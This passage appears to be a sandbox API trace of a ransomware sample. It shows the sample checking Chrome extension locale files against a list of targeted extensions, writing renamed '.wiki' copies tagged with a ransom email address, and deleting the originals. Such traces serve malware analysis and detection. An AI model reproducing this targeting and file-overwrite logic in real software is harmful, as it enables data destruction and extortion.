Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.198] lstrlenW (lpString=".doc") returned 4 [0173.198] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".docx") returned 5 [0173.198] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.198] lstrlenW (lpString=".pdf") returned 4 [0173.198] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".xls") returned 4 [0173.198] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".xlsx") returned 5 [0173.198] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.198] lstrlenW (lpString=".ppt") returned 4 [0173.198] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.198] lstrlenW (lpString=".zip") returned 4 [0173.198] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".rar") returned 4 [0173.198] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".bz2") returned 4 [0173.198] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.198] lstrlenW (lpString=".7z") returned 3 [0173.198] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.198] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.199] lstrlenW (lpString=".dbf") returned 4 [0173.199] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.199] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.199] lstrlenW (lpString=".1cd") returned 4 [0173.199] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.199] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fi\\messages.json") returned 151 [0173.199] lstrlenW (lpString=".jpg") returned 4 [0173.199] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.199] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.199] lstrlenW (lpString="messages.json") returned 13 [0173.199] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.199] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=218) returned 1 [0173.199] CloseHandle (hObject=0x1b4) returned 1 [0173.199] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json")) returned 0x2020 [0173.200] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.200] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.200] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.200] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.200] GetLastError () returned 0x0 [0173.200] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xda, lpOverlapped=0x0) returned 1 [0173.201] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.202] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.202] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.202] SetEndOfFile (hFile=0x198) returned 1 [0173.202] CloseHandle (hObject=0x198) returned 1 [0173.202] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.203] SetEndOfFile (hFile=0x1b4) returned 1 [0173.203] CloseHandle (hObject=0x1b4) returned 1 [0173.203] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.203] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json")) returned 1 [0173.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.204] lstrlenW (lpString=".doc") returned 4 [0173.204] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".docx") returned 5 [0173.204] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.204] lstrlenW (lpString=".pdf") returned 4 [0173.204] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".xls") returned 4 [0173.204] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".xlsx") returned 5 [0173.204] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.204] lstrlenW (lpString=".ppt") returned 4 [0173.204] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.204] lstrlenW (lpString=".zip") returned 4 [0173.204] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".rar") returned 4 [0173.204] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".bz2") returned 4 [0173.204] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.204] lstrlenW (lpString=".7z") returned 3 [0173.204] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString=".dbf") returned 4 [0173.205] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString=".1cd") returned 4 [0173.205] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString=".jpg") returned 4 [0173.205] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString=".doc") returned 4 [0173.205] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.205] lstrlenW (lpString=".docx") returned 5 [0173.205] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.205] lstrlenW (lpString=".pdf") returned 4 [0173.205] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.205] lstrlenW (lpString=".xls") returned 4 [0173.205] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.205] lstrlenW (lpString=".xlsx") returned 5 [0173.205] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.205] lstrlenW (lpString=".ppt") returned 4 [0173.205] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.205] lstrlenW (lpString=".zip") returned 4 [0173.205] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.205] lstrlenW (lpString=".rar") returned 4 [0173.205] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.205] lstrlenW (lpString=".bz2") returned 4 [0173.206] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.206] lstrlenW (lpString=".7z") returned 3 [0173.206] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.206] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.206] lstrlenW (lpString=".dbf") returned 4 [0173.206] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.206] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.206] lstrlenW (lpString=".1cd") returned 4 [0173.206] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.206] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko\\messages.json") returned 151 [0173.206] lstrlenW (lpString=".jpg") returned 4 [0173.206] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.206] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.206] lstrlenW (lpString="messages.json") returned 13 [0173.206] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.207] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=228) returned 1 [0173.207] CloseHandle (hObject=0x1b4) returned 1 [0173.207] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json")) returned 0x2020 [0173.207] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.207] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.207] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.207] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0173.207] GetLastError () returned 0x0 [0173.207] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe4, lpOverlapped=0x0) returned 1 [0173.208] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0173.209] ReadFile (in: hFile=0x1b4, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.209] WriteFile (in: hFile=0x198, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.209] SetEndOfFile (hFile=0x198) returned 1 [0173.210] CloseHandle (hObject=0x198) returned 1 [0173.210] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.210] SetEndOfFile (hFile=0x1b4) returned 1 [0173.210] CloseHandle (hObject=0x1b4) returned 1 [0173.210] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.211] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json")) returned 1 [0173.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.211] lstrlenW (lpString=".doc") returned 4 [0173.211] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.211] lstrlenW (lpString=".docx") returned 5 [0173.211] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.211] lstrlenW (lpString=".pdf") returned 4 [0173.211] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.211] lstrlenW (lpString=".xls") returned 4 [0173.211] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.211] lstrlenW (lpString=".xlsx") returned 5 [0173.211] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.211] lstrlenW (lpString=".ppt") returned 4 [0173.211] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.211] lstrlenW (lpString=".zip") returned 4 [0173.211] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.211] lstrlenW (lpString=".rar") returned 4 [0173.211] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.212] lstrlenW (lpString=".bz2") returned 4 [0173.212] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.212] lstrlenW (lpString=".7z") returned 3 [0173.212] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString=".dbf") returned 4 [0173.212] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString=".1cd") returned 4 [0173.212] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString=".jpg") returned 4 [0173.212] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString=".doc") returned 4 [0173.212] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.212] lstrlenW (lpString=".docx") returned 5 [0173.212] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.212] lstrlenW (lpString=".pdf") returned 4 [0173.212] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.212] lstrlenW (lpString=".xls") returned 4 [0173.212] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.212] lstrlenW (lpString=".xlsx") returned 5 [0173.212] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.212] lstrlenW (lpString=".ppt") returned 4 [0173.212] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.212] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.212] lstrlenW (lpString=".zip") returned 4 [0173.212] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.213] lstrlenW (lpString=".rar") returned 4 [0173.213] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.213] lstrlenW (lpString=".bz2") returned 4 [0173.213] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.213] lstrlenW (lpString=".7z") returned 3 [0173.213] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.213] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.213] lstrlenW (lpString=".dbf") returned 4 [0173.213] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.213] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.213] lstrlenW (lpString=".1cd") returned 4 [0173.213] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.213] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lt\\messages.json") returned 151 [0173.213] lstrlenW (lpString=".jpg") returned 4 [0173.213] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.213] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.213] lstrlenW (lpString="messages.json") returned 13 [0173.213] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0173.215] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=224) returned 1 [0173.215] CloseHandle (hObject=0x1b4) returned 1 [0173.215] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json")) returned 0x2020 [0173.215] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\lv\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.215] CreateFileW 